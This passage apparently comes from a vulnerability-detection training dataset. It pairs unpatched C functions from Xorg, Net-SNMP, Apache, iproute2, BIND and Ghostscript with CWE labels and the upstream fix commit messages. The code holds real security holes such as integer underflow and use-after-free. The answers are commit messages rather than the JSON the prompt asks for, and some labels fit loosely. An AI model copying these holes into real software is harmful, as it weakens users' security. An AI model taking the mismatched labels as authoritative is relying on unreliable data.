'cwe': ['CWE-191'], 'message': 'Fix XIChangeHierarchy() integer underflow\n\nCVE-2020-14346 / ZDI-CAN-11429\n\nThis vulnerability was discovered by:\nJan-Niklas Sohn working with Trend Micro Zero Day Initiative\n\nSigned-off-by: Matthieu Herrb '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _XimAttributeToValue(\n Xic\t\t\t ic,\n XIMResourceList\t res,\n CARD16\t\t *data,\n INT16\t\t data_len,\n XPointer\t\t value,\n BITMASK32\t\t mode)\n{\n switch (res->resource_size) {\n case XimType_SeparatorOfNestedList:\n case XimType_NEST:\n\tbreak;\n\n case XimType_CARD8:\n case XimType_CARD16:\n case XimType_CARD32:\n case XimType_Window:\n case XimType_XIMHotKeyState:\n\t_XCopyToArg((XPointer)data, (XPointer *)&value, data_len);\n\tbreak;\n\n case XimType_STRING8:\n\t{\n\t char\t*str;\n\n\t if (!(value))\n\t\treturn False;\n\n\t if (!(str = Xmalloc(data_len + 1)))\n\t\treturn False;\n\n\t (void)memcpy(str, (char *)data, data_len);\n\t str[data_len] = '\\0';\n\n\t *((char **)value) = str;\n\t break;\n\t}\n\n case XimType_XIMStyles:\n\t{\n\t INT16\t\t num = data[0];\n\t register CARD32\t*style_list = (CARD32 *)&data[2];\n\t XIMStyle\t\t*style;\n\t XIMStyles\t\t*rep;\n\t register int\t i;\n\t char\t\t*p;\n\t int\t\t\t alloc_len;\n\n\t if (!(value))\n\t\treturn False;\n\n\t alloc_len = sizeof(XIMStyles) + sizeof(XIMStyle) * num;\n\t if (!(p = Xmalloc(alloc_len)))\n\t\treturn False;\n\n\t rep = (XIMStyles *)p;\n\t style = (XIMStyle *)(p + sizeof(XIMStyles));\n\n\t for (i = 0; i < num; i++)\n\t\tstyle[i] = (XIMStyle)style_list[i];\n\n\t rep->count_styles = (unsigned short)num;\n\t rep->supported_styles = style;\n\t *((XIMStyles **)value) = rep;\n\t break;\n\t}\n\n case XimType_XRectangle:\n\t{\n\t XRectangle\t*rep;\n\n\t if (!(value))\n\t\treturn False;\n\n\t if (!(rep = Xmalloc(sizeof(XRectangle))))\n\t\treturn False;\n\n\t rep->x = data[0];\n\t rep->y = data[1];\n\t rep->width = data[2];\n\t rep->height = data[3];\n\t *((XRectangle **)value) = rep;\n\t break;\n\t}\n\n case XimType_XPoint:\n\t{\n\t XPoint\t*rep;\n\n\t if (!(value))\n\t\treturn False;\n\n\t if (!(rep = Xmalloc(sizeof(XPoint))))\n\t\treturn False;\n\n\t rep->x = data[0];\n\t rep->y = data[1];\n\t *((XPoint **)value) = rep;\n\t break;\n\t}\n\n case XimType_XFontSet:\n\t{\n\t INT16\t len = data[0];\n\t char\t*base_name;\n\t XFontSet\t rep = (XFontSet)NULL;\n\t char\t**missing_list = NULL;\n\t int\t\t missing_count;\n\t char\t*def_string;\n\n\t if (!(value))\n\t\treturn False;\n\t if (!ic)\n\t\treturn False;\n\n\t if (!(base_name = Xmalloc(len + 1)))\n\t\treturn False;\n\n\t (void)strncpy(base_name, (char *)&data[1], (int)len);\n\t base_name[len] = '\\0';\n\n\t if (mode & XIM_PREEDIT_ATTR) {\n\t\tif (!strcmp(base_name, ic->private.proto.preedit_font)) {\n\t\t rep = ic->core.preedit_attr.fontset;\n\t\t} else if (!ic->private.proto.preedit_font_length) {\n\t\t rep = XCreateFontSet(ic->core.im->core.display,\n\t\t\t\t\tbase_name, &missing_list,\n\t\t\t\t\t&missing_count, &def_string);\n\t\t}\n\t } else if (mode & XIM_STATUS_ATTR) {\n\t\tif (!strcmp(base_name, ic->private.proto.status_font)) {\n\t\t rep = ic->core.status_attr.fontset;\n\t\t} else if (!ic->private.proto.status_font_length) {\n\t\t rep = XCreateFontSet(ic->core.im->core.display,\n\t\t\t\t\tbase_name, &missing_list,\n\t\t\t\t\t&missing_count, &def_string);\n\t\t}\n\t }\n\n\t Xfree(base_name);\n\t Xfree(missing_list);\n\t *((XFontSet *)value) = rep;\n\t break;\n\t}\n\n case XimType_XIMHotKeyTriggers:\n\t{\n\t INT32\t\t\t num = *((CARD32 *)data);\n\t register CARD32\t\t*key_list = (CARD32 *)&data[2];\n\t XIMHotKeyTrigger\t\t*key;\n\t XIMHotKeyTriggers\t\t*rep;\n\t register int\t\t i;\n\t char\t\t\t*p;\n\t int\t\t\t\t alloc_len;\n\n\t if (!(value))\n\t\treturn False;\n\n\t alloc_len = sizeof(XIMHotKeyTriggers)\n\t\t + sizeof(XIMHotKeyTrigger) * num;\n\t if (!(p = Xmalloc(alloc_len)))\n\t\treturn False;\n\n\t rep = (XIMHotKeyTriggers *)p;\n\t key = (XIMHotKeyTrigger *)(p + sizeof(XIMHotKeyTriggers));\n\n\t for (i = 0; i < num; i++, key_list += 3) {\n\t\tkey[i].keysym = (KeySym)key_list[0]; /* keysym */\n\t\tkey[i].modifier = (int)key_list[1]; /* modifier */\n\t\tkey[i].modifier_mask = (int)key_list[2]; /* modifier_mask */\n\t }\n\n\t rep->num_hot_key = (int)num;\n\t rep->key = key;\n\t *((XIMHotKeyTriggers **)value) = rep;\n\t break;\n\t}\n\n case XimType_XIMStringConversion:\n\t{\n\t break;\n\t}\n\n default:\n\treturn False;\n }\n return True;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'fix integer overflows in _XimAttributeToValue()\n\nSigned-off-by: Matthieu Herrb \nReviewed-by: Matthieu Herrb '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: _mibindex_add( const char *dirname, int i )\n{\n const int old_mibindex_max = _mibindex_max;\n\n DEBUGMSGTL((\"mibindex\", \"add: %s (%d)\\n\", dirname, i ));\n if ( i == -1 )\n i = _mibindex++;\n if ( i >= _mibindex_max ) {\n /*\n * If the index array is full (or non-existent)\n * then expand (or create) it\n */\n _mibindex_max = i + 10;\n _mibindexes = realloc(_mibindexes,\n _mibindex_max * sizeof(_mibindexes[0]));\n netsnmp_assert(_mibindexes);\n memset(_mibindexes + old_mibindex_max, 0,\n (_mibindex_max - old_mibindex_max) * sizeof(_mibindexes[0]));\n }\n\n _mibindexes[ i ] = strdup( dirname );\n if ( i >= _mibindex )\n _mibindex = i+1;\n\n DEBUGMSGTL((\"mibindex\", \"add: %d/%d/%d\\n\", i, _mibindex, _mibindex_max ));\n return i;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-59', 'CWE-61'], 'message': 'CHANGES: snmpd: Stop reading and writing the mib_indexes/* files\n\nCaching directory contents is something the operating system should do\nand is not something Net-SNMP should do. Instead of storing a copy of\nthe directory contents in ${tmp_dir}/mib_indexes/${n}, always scan a\nMIB directory.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: apr_status_t h2_push_diary_digest64_set(h2_push_diary *diary, const char *authority, \n const char *data64url, apr_pool_t *pool)\n{\n const char *data;\n apr_size_t len = h2_util_base64url_decode(&data, data64url, pool);\n /* Intentional no APLOGNO */\n ap_log_perror(APLOG_MARK, GCSLOG_LEVEL, 0, pool,\n \"h2_push_diary_digest64_set: digest=%s, dlen=%d\", \n data64url, (int)len);\n return h2_push_diary_digest_set(diary, authority, data, len);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-444'], 'message': '* Removing support for abandoned draft of http-wg regarding cache-digests.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int get_netnsid_from_name(const char *name)\n{\n\tstruct {\n\t\tstruct nlmsghdr n;\n\t\tstruct rtgenmsg g;\n\t\tchar buf[1024];\n\t} req = {\n\t\t.n.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtgenmsg)),\n\t\t.n.nlmsg_flags = NLM_F_REQUEST,\n\t\t.n.nlmsg_type = RTM_GETNSID,\n\t\t.g.rtgen_family = AF_UNSPEC,\n\t};\n\tstruct nlmsghdr *answer;\n\tstruct rtattr *tb[NETNSA_MAX + 1];\n\tstruct rtgenmsg *rthdr;\n\tint len, fd;\n\n\tnetns_nsid_socket_init();\n\n\tfd = netns_get_fd(name);\n\tif (fd < 0)\n\t\treturn fd;\n\n\taddattr32(&req.n, 1024, NETNSA_FD, fd);\n\tif (rtnl_talk(&rtnsh, &req.n, &answer) < 0) {\n\t\tclose(fd);\n\t\treturn -2;\n\t}\n\tclose(fd);\n\n\t/* Validate message and parse attributes */\n\tif (answer->nlmsg_type == NLMSG_ERROR)\n\t\tgoto err_out;\n\n\trthdr = NLMSG_DATA(answer);\n\tlen = answer->nlmsg_len - NLMSG_SPACE(sizeof(*rthdr));\n\tif (len < 0)\n\t\tgoto err_out;\n\n\tparse_rtattr(tb, NETNSA_MAX, NETNS_RTA(rthdr), len);\n\n\tif (tb[NETNSA_NSID]) {\n\t\tfree(answer);\n\t\treturn rta_getattr_u32(tb[NETNSA_NSID]);\n\t}\n\nerr_out:\n\tfree(answer);\n\treturn -1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'ipnetns: use-after-free problem in get_netnsid_from_name func\n\nFollow the following steps:\n # ip netns add net1\n # export MALLOC_MMAP_THRESHOLD_=0\n # ip netns list\nthen Segmentation fault (core dumped) will occur.\n\nIn get_netnsid_from_name func, answer is freed before\nrta_getattr_u32(tb[NETNSA_NSID]), where tb[] refers to answer`s\ncontent. If we set MALLOC_MMAP_THRESHOLD_=0, mmap will be adoped to\nmalloc memory, which will be freed immediately after calling free\nfunc. So reading tb[NETNSA_NSID] will access the released memory\nafter free(answer).\n\nHere, we will call get_netnsid_from_name(tb[NETNSA_NSID]) before free(answer).\n\nFixes: 86bf43c7c2f (\"lib/libnetlink: update rtnl_talk to support malloc buff at run time\")\nReported-by: Huiying Kou \nSigned-off-by: Zhiqiang Liu \nAcked-by: Phil Sutter \nSigned-off-by: Stephen Hemminger '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: SProcRecordCreateContext(ClientPtr client)\n{\n REQUEST(xRecordCreateContextReq);\n int status;\n\n swaps(&stuff->length);\n REQUEST_AT_LEAST_SIZE(xRecordCreateContextReq);\n if ((status = SwapCreateRegister((void *) stuff)) != Success)\n return status;\n return ProcRecordCreateContext(client);\n} /* SProcRecordCreateContext */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-191'], 'message': 'Fix XRecordRegisterClients() Integer underflow\n\nCVE-2020-14362 ZDI-CAN-11574\n\nThis vulnerability was discovered by:\nJan-Niklas Sohn working with Trend Micro Zero Day Initiative\n\nSigned-off-by: Matthieu Herrb '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: pkcs11rsa_verify(dst_context_t *dctx, const isc_region_t *sig) {\n\tCK_RV rv;\n\tCK_MECHANISM mech = { CKM_RSA_PKCS, NULL, 0 };\n\tCK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;\n\tCK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;\n\tCK_KEY_TYPE keyType = CKK_RSA;\n\tCK_ATTRIBUTE keyTemplate[] =\n\t{\n\t\t{ CKA_CLASS, &keyClass, (CK_ULONG) sizeof(keyClass) },\n\t\t{ CKA_KEY_TYPE, &keyType, (CK_ULONG) sizeof(keyType) },\n\t\t{ CKA_TOKEN, &falsevalue, (CK_ULONG) sizeof(falsevalue) },\n\t\t{ CKA_PRIVATE, &falsevalue, (CK_ULONG) sizeof(falsevalue) },\n\t\t{ CKA_VERIFY, &truevalue, (CK_ULONG) sizeof(truevalue) },\n\t\t{ CKA_MODULUS, NULL, 0 },\n\t\t{ CKA_PUBLIC_EXPONENT, NULL, 0 },\n\t};\n\tCK_ATTRIBUTE *attr;\n\tCK_BYTE digest[MAX_DER_SIZE + ISC_SHA512_DIGESTLENGTH];\n\tCK_BYTE *der;\n\tCK_ULONG derlen;\n\tCK_ULONG hashlen;\n\tCK_ULONG dgstlen;\n\tpk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;\n\tdst_key_t *key = dctx->key;\n\tpk11_object_t *rsa = key->keydata.pkey;\n\tisc_result_t ret = ISC_R_SUCCESS;\n\tunsigned int i;\n\n#ifndef PK11_MD5_DISABLE\n\tREQUIRE(key->key_alg == DST_ALG_RSAMD5 ||\n\t\tkey->key_alg == DST_ALG_RSASHA1 ||\n\t\tkey->key_alg == DST_ALG_NSEC3RSASHA1 ||\n\t\tkey->key_alg == DST_ALG_RSASHA256 ||\n\t\tkey->key_alg == DST_ALG_RSASHA512);\n#else\n\tREQUIRE(key->key_alg == DST_ALG_RSASHA1 ||\n\t\tkey->key_alg == DST_ALG_NSEC3RSASHA1 ||\n\t\tkey->key_alg == DST_ALG_RSASHA256 ||\n\t\tkey->key_alg == DST_ALG_RSASHA512);\n#endif\n\tREQUIRE(rsa != NULL);\n\n\tswitch (key->key_alg) {\n#ifndef PK11_MD5_DISABLE\n\tcase DST_ALG_RSAMD5:\n\t\tder = md5_der;\n\t\tderlen = sizeof(md5_der);\n\t\thashlen = ISC_MD5_DIGESTLENGTH;\n\t\tbreak;\n#endif\n\tcase DST_ALG_RSASHA1:\n\tcase DST_ALG_NSEC3RSASHA1:\n\t\tder = sha1_der;\n\t\tderlen = sizeof(sha1_der);\n\t\thashlen = ISC_SHA1_DIGESTLENGTH;\n\t\tbreak;\n\tcase DST_ALG_RSASHA256:\n\t\tder = sha256_der;\n\t\tderlen = sizeof(sha256_der);\n\t\thashlen = ISC_SHA256_DIGESTLENGTH;\n\t\tbreak;\n\tcase DST_ALG_RSASHA512:\n\t\tder = sha512_der;\n\t\tderlen = sizeof(sha512_der);\n\t\thashlen = ISC_SHA512_DIGESTLENGTH;\n\t\tbreak;\n\tdefault:\n\t\tINSIST(0);\n\t\tISC_UNREACHABLE();\n\t}\n\tdgstlen = derlen + hashlen;\n\tINSIST(dgstlen <= sizeof(digest));\n\tmemmove(digest, der, derlen);\n\n\tPK11_RET(pkcs_C_DigestFinal,\n\t\t (pk11_ctx->session, digest + derlen, &hashlen),\n\t\t DST_R_SIGNFAILURE);\n\n\tfor (attr = pk11_attribute_first(rsa);\n\t attr != NULL;\n\t attr = pk11_attribute_next(rsa, attr))\n\t\tswitch (attr->type) {\n\t\tcase CKA_MODULUS:\n\t\t\tINSIST(keyTemplate[5].type == attr->type);\n\t\t\tkeyTemplate[5].pValue = isc_mem_get(dctx->mctx,\n\t\t\t\t\t\t\t attr->ulValueLen);\n\t\t\tif (keyTemplate[5].pValue == NULL)\n\t\t\t\tDST_RET(ISC_R_NOMEMORY);\n\t\t\tmemmove(keyTemplate[5].pValue, attr->pValue,\n\t\t\t\tattr->ulValueLen);\n\t\t\tkeyTemplate[5].ulValueLen = attr->ulValueLen;\n\t\t\tbreak;\n\t\tcase CKA_PUBLIC_EXPONENT:\n\t\t\tINSIST(keyTemplate[6].type == attr->type);\n\t\t\tkeyTemplate[6].pValue = isc_mem_get(dctx->mctx,\n\t\t\t\t\t\t\t attr->ulValueLen);\n\t\t\tif (keyTemplate[6].pValue == NULL)\n\t\t\t\tDST_RET(ISC_R_NOMEMORY);\n\t\t\tmemmove(keyTemplate[6].pValue, attr->pValue,\n\t\t\t\tattr->ulValueLen);\n\t\t\tkeyTemplate[6].ulValueLen = attr->ulValueLen;\n\t\t\tif (pk11_numbits(attr->pValue,\n\t\t\t\t\t attr->ulValueLen)\n\t\t\t\t> RSA_MAX_PUBEXP_BITS)\n\t\t\t\tDST_RET(DST_R_VERIFYFAILURE);\n\t\t\tbreak;\n\t\t}\n\tpk11_ctx->object = CK_INVALID_HANDLE;\n\tpk11_ctx->ontoken = false;\n\tPK11_RET(pkcs_C_CreateObject,\n\t\t (pk11_ctx->session,\n\t\t keyTemplate, (CK_ULONG) 7,\n\t\t &hKey),\n\t\t ISC_R_FAILURE);\n\n\tPK11_RET(pkcs_C_VerifyInit,\n\t\t (pk11_ctx->session, &mech, hKey),\n\t\t ISC_R_FAILURE);\n\n\tPK11_RET(pkcs_C_Verify,\n\t\t (pk11_ctx->session,\n\t\t digest, dgstlen,\n\t\t (CK_BYTE_PTR) sig->base, (CK_ULONG) sig->length),\n\t\t DST_R_VERIFYFAILURE);\n\n err:\n\tif (hKey != CK_INVALID_HANDLE)\n\t\t(void) pkcs_C_DestroyObject(pk11_ctx->session, hKey);\n\tfor (i = 5; i <= 6; i++)\n\t\tif (keyTemplate[i].pValue != NULL) {\n\t\t\tisc_safe_memwipe(keyTemplate[i].pValue,\n\t\t\t\t\t keyTemplate[i].ulValueLen);\n\t\t\tisc_mem_put(dctx->mctx,\n\t\t\t\t keyTemplate[i].pValue,\n\t\t\t\t keyTemplate[i].ulValueLen);\n\t\t}\n\tpk11_return_session(pk11_ctx);\n\tisc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));\n\tisc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));\n\tdctx->ctxdata.pk11_ctx = NULL;\n\n\treturn (ret);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-617'], 'message': 'Fix crash in pk11_numbits() when native-pkcs11 is used\n\nWhen pk11_numbits() is passed a user provided input that contains all\nzeroes (via crafted DNS message), it would crash with assertion\nfailure. Fix that by properly handling such input.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: tiffsep_print_page(gx_device_printer * pdev, gp_file * file)\n{\n tiffsep_device * const tfdev = (tiffsep_device *)pdev;\n int num_std_colorants = tfdev->devn_params.num_std_colorant_names;\n int num_order = tfdev->devn_params.num_separation_order_names;\n int num_spot = tfdev->devn_params.separations.num_separations;\n int num_comp, comp_num, sep_num, code = 0, code1 = 0;\n cmyk_composite_map cmyk_map[GX_DEVICE_COLOR_MAX_COMPONENTS];\n char *name = NULL;\n bool double_f = false;\n int base_filename_length = length_base_file_name(tfdev, &double_f);\n int save_depth = pdev->color_info.depth;\n int save_numcomps = pdev->color_info.num_components;\n const char *fmt;\n gs_parsed_file_name_t parsed;\n int plane_count = 0; /* quiet compiler */\n int factor = tfdev->downscale.downscale_factor;\n int mfs = tfdev->downscale.min_feature_size;\n int dst_bpc = tfdev->BitsPerComponent;\n gx_downscaler_t ds;\n int width = gx_downscaler_scale(tfdev->width, factor);\n int height = gx_downscaler_scale(tfdev->height, factor);\n\n name = (char *)gs_alloc_bytes(pdev->memory, gp_file_name_sizeof, \"tiffsep_print_page(name)\");\n if (!name)\n return_error(gs_error_VMerror);\n\n /* Print the names of the spot colors */\n if (num_order == 0) {\n for (sep_num = 0; sep_num < num_spot; sep_num++) {\n copy_separation_name(tfdev, name,\n gp_file_name_sizeof - base_filename_length - SUFFIX_SIZE, sep_num, 0);\n dmlprintf1(pdev->memory, \"%%%%SeparationName: %s\\n\", name);\n }\n }\n\n /*\n * Since different pages may have different spot colors, if this is for a\n * page after Page 1, we require that each output file is unique with a \"fmt\"\n * (i.e. %d) as part of the filename. We create individual separation files\n * for each page of the input.\n * Since the TIFF lib requires seeakable files, /dev/null or nul: are\n * not allowed (as they are with the psdcmyk devices).\n */\n code = gx_parse_output_file_name(&parsed, &fmt, tfdev->fname,\n strlen(tfdev->fname), pdev->memory);\n if (code < 0 || (fmt == NULL && tfdev->PageCount > 0)) {\n emprintf(tfdev->memory,\n \"\\nUse of the %%d format is required to output more than one page to tiffsep.\\n\"\n \"See doc/Devices.htm#TIFF for details.\\n\\n\");\n code = gs_note_error(gs_error_ioerror);\n }\n /* Write the page directory for the CMYK equivalent file. */\n if (!tfdev->comp_file) {\n pdev->color_info.depth = dst_bpc*4; /* Create directory for 32 bit cmyk */\n if (!tfdev->UseBigTIFF && tfdev->Compression==COMPRESSION_NONE &&\n height > ((unsigned long) 0xFFFFFFFF - (file ? gp_ftell(file) : 0))/(width*4)) { /* note width is never 0 in print_page */\n dmprintf(pdev->memory, \"CMYK composite file would be too large! Reduce resolution or enable compression.\\n\");\n return_error(gs_error_rangecheck); /* this will overflow 32 bits */\n }\n\n code = gx_device_open_output_file((gx_device *)pdev, pdev->fname, true, true, &(tfdev->comp_file));\n if (code < 0) {\n goto done;\n }\n\n tfdev->tiff_comp = tiff_from_filep(pdev, pdev->dname, tfdev->comp_file, tfdev->BigEndian, tfdev->UseBigTIFF);\n if (!tfdev->tiff_comp) {\n code = gs_note_error(gs_error_invalidfileaccess);\n goto done;\n }\n\n }\n code = tiff_set_fields_for_printer(pdev, tfdev->tiff_comp, factor, 0, tfdev->write_datetime);\n\n if (dst_bpc == 1 || dst_bpc == 8) {\n tiff_set_cmyk_fields(pdev, tfdev->tiff_comp, dst_bpc, tfdev->Compression, tfdev->MaxStripSize);\n }\n else {\n /* Catch-all just for safety's sake */\n tiff_set_cmyk_fields(pdev, tfdev->tiff_comp, dst_bpc, COMPRESSION_NONE, tfdev->MaxStripSize);\n }\n\n pdev->color_info.depth = save_depth;\n if (code < 0) {\n goto done;\n }\n\n /* Set up the separation output files */\n num_comp = number_output_separations( tfdev->color_info.num_components,\n num_std_colorants, num_order, num_spot);\n\n if (!tfdev->NoSeparationFiles && !num_order && num_comp < num_std_colorants + num_spot) {\n dmlprintf(pdev->memory, \"Warning: skipping one or more colour separations, see: Devices.htm#TIFF\\n\");\n }\n\n if (!tfdev->NoSeparationFiles) {\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n int sep_num = tfdev->devn_params.separation_order_map[comp_num];\n\n code = create_separation_file_name(tfdev, name, gp_file_name_sizeof,\n sep_num, true);\n if (code < 0) {\n goto done;\n }\n\n /*\n * Close the old separation file if we are creating individual files\n * for each page.\n */\n if (tfdev->sep_file[comp_num] != NULL && fmt != NULL) {\n code = tiffsep_close_sep_file(tfdev, name, comp_num);\n if (code >= 0)\n code = gs_remove_outputfile_control_path(tfdev->memory, name);\n if (code < 0)\n return code;\n }\n /* Open the separation file, if not already open */\n if (tfdev->sep_file[comp_num] == NULL) {\n code = gs_add_outputfile_control_path(tfdev->memory, name);\n if (code < 0) {\n goto done;\n }\n code = gx_device_open_output_file((gx_device *)pdev, name,\n true, true, &(tfdev->sep_file[comp_num]));\n if (code < 0) {\n goto done;\n }\n tfdev->tiff[comp_num] = tiff_from_filep(pdev, name,\n tfdev->sep_file[comp_num],\n tfdev->BigEndian, tfdev->UseBigTIFF);\n if (!tfdev->tiff[comp_num]) {\n code = gs_note_error(gs_error_ioerror);\n goto done;\n }\n }\n\n pdev->color_info.depth = dst_bpc; /* Create files for 8 bit gray */\n pdev->color_info.num_components = 1;\n if (!tfdev->UseBigTIFF && tfdev->Compression == COMPRESSION_NONE &&\n height * 8 / dst_bpc > ((unsigned long)0xFFFFFFFF - (file ? gp_ftell(file) : 0)) / width) /* note width is never 0 in print_page */\n {\n code = gs_note_error(gs_error_rangecheck); /* this will overflow 32 bits */\n goto done;\n }\n\n\n code = tiff_set_fields_for_printer(pdev, tfdev->tiff[comp_num], factor, 0, tfdev->write_datetime);\n tiff_set_gray_fields(pdev, tfdev->tiff[comp_num], dst_bpc, tfdev->Compression, tfdev->MaxStripSize);\n pdev->color_info.depth = save_depth;\n pdev->color_info.num_components = save_numcomps;\n if (code < 0) {\n goto done;\n }\n }\n }\n\n build_cmyk_map((gx_device*) tfdev, num_comp, &tfdev->equiv_cmyk_colors, cmyk_map);\n if (tfdev->PrintSpotCMYK) {\n code = print_cmyk_equivalent_colors(tfdev, num_comp, cmyk_map);\n if (code < 0) {\n goto done;\n }\n }\n\n {\n int raster_plane = bitmap_raster(width * 8);\n byte *planes[GS_CLIENT_COLOR_MAX_COMPONENTS] = { 0 };\n int cmyk_raster = width * NUM_CMYK_COMPONENTS;\n int pixel, y;\n byte * sep_line;\n int plane_index;\n int offset_plane = 0;\n\n sep_line =\n gs_alloc_bytes(pdev->memory, cmyk_raster, \"tiffsep_print_page\");\n if (!sep_line) {\n code = gs_note_error(gs_error_VMerror);\n goto done;\n }\n\n if (!tfdev->NoSeparationFiles)\n for (comp_num = 0; comp_num < num_comp; comp_num++ )\n TIFFCheckpointDirectory(tfdev->tiff[comp_num]);\n TIFFCheckpointDirectory(tfdev->tiff_comp);\n\n /* Write the page data. */\n {\n gs_get_bits_params_t params;\n int byte_width;\n\n /* Return planar data */\n params.options = (GB_RETURN_POINTER | GB_RETURN_COPY |\n GB_ALIGN_STANDARD | GB_OFFSET_0 | GB_RASTER_STANDARD |\n GB_PACKING_PLANAR | GB_COLORS_NATIVE | GB_ALPHA_NONE);\n params.x_offset = 0;\n params.raster = bitmap_raster(width * pdev->color_info.depth);\n\n if (num_order > 0) {\n /* In this case, there was a specification for a separation\n color order, which indicates what colorants we will\n actually creat individual separation files for. We need\n to allocate for the standard colorants. This is due to the\n fact that even when we specify a single spot colorant, we\n still create the composite CMYK output file. */\n for (comp_num = 0; comp_num < num_std_colorants; comp_num++) {\n planes[comp_num] = gs_alloc_bytes(pdev->memory, raster_plane,\n \"tiffsep_print_page\");\n params.data[comp_num] = planes[comp_num];\n if (params.data[comp_num] == NULL) {\n code = gs_note_error(gs_error_VMerror);\n goto cleanup;\n }\n }\n offset_plane = num_std_colorants;\n /* Now we need to make sure that we do not allocate extra\n planes if any of the colorants in the order list are\n one of the standard colorant names */\n plane_index = plane_count = num_std_colorants;\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n int temp_pos;\n\n temp_pos = tfdev->devn_params.separation_order_map[comp_num];\n if (temp_pos >= num_std_colorants) {\n /* We have one that is not a standard colorant name\n so allocate a new plane */\n planes[plane_count] = gs_alloc_bytes(pdev->memory, raster_plane,\n \"tiffsep_print_page\");\n /* Assign the new plane to the appropriate position */\n params.data[plane_index] = planes[plane_count];\n if (params.data[plane_index] == NULL) {\n code = gs_note_error(gs_error_VMerror);\n goto cleanup;\n }\n plane_count += 1;\n } else {\n /* Assign params.data with the appropriate std.\n colorant plane position */\n params.data[plane_index] = planes[temp_pos];\n }\n plane_index += 1;\n }\n } else {\n /* Sep color order number was not specified so just render all\n the planes that we can */\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n planes[comp_num] = gs_alloc_bytes(pdev->memory, raster_plane,\n \"tiffsep_print_page\");\n params.data[comp_num] = planes[comp_num];\n if (params.data[comp_num] == NULL) {\n code = gs_note_error(gs_error_VMerror);\n goto cleanup;\n }\n }\n }\n code = gx_downscaler_init_planar_trapped(&ds, (gx_device *)pdev, ¶ms,\n num_comp, factor, mfs, 8, dst_bpc,\n tfdev->downscale.trap_w, tfdev->downscale.trap_h,\n tfdev->downscale.trap_order);\n if (code < 0)\n goto cleanup;\n byte_width = (width * dst_bpc + 7)>>3;\n for (y = 0; y < height; ++y) {\n code = gx_downscaler_get_bits_rectangle(&ds, ¶ms, y);\n if (code < 0)\n goto cleanup;\n /* Write separation data (tiffgray format) */\n if (!tfdev->NoSeparationFiles) {\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n byte *src;\n byte *dest = sep_line;\n\n if (num_order > 0) {\n src = params.data[tfdev->devn_params.separation_order_map[comp_num]];\n }\n else\n src = params.data[comp_num];\n for (pixel = 0; pixel < byte_width; pixel++, dest++, src++)\n *dest = MAX_COLOR_VALUE - *src; /* Gray is additive */\n TIFFWriteScanline(tfdev->tiff[comp_num], (tdata_t)sep_line, y, 0);\n }\n }\n /* Write CMYK equivalent data */\n switch(dst_bpc)\n {\n default:\n case 8:\n build_cmyk_raster_line_fromplanar(¶ms, sep_line, width,\n num_comp, cmyk_map, num_order,\n tfdev);\n break;\n case 4:\n build_cmyk_raster_line_fromplanar_4bpc(¶ms, sep_line, width,\n num_comp, cmyk_map, num_order,\n tfdev);\n break;\n case 2:\n build_cmyk_raster_line_fromplanar_2bpc(¶ms, sep_line, width,\n num_comp, cmyk_map, num_order,\n tfdev);\n break;\n case 1:\n build_cmyk_raster_line_fromplanar_1bpc(¶ms, sep_line, width,\n num_comp, cmyk_map, num_order,\n tfdev);\n break;\n }\n TIFFWriteScanline(tfdev->tiff_comp, (tdata_t)sep_line, y, 0);\n }\ncleanup:\n if (num_order > 0) {\n /* Free up the standard colorants if num_order was set.\n In this process, we need to make sure that none of them\n were the standard colorants. plane_count should have\n the sum of the std. colorants plus any non-standard\n ones listed in separation color order */\n for (comp_num = 0; comp_num < plane_count; comp_num++) {\n gs_free_object(pdev->memory, planes[comp_num],\n \"tiffsep_print_page\");\n }\n } else {\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n gs_free_object(pdev->memory, planes[comp_num + offset_plane],\n \"tiffsep_print_page\");\n }\n }\n gx_downscaler_fin(&ds);\n gs_free_object(pdev->memory, sep_line, \"tiffsep_print_page\");\n }\n code1 = code;\n if (!tfdev->NoSeparationFiles) {\n for (comp_num = 0; comp_num < num_comp; comp_num++) {\n 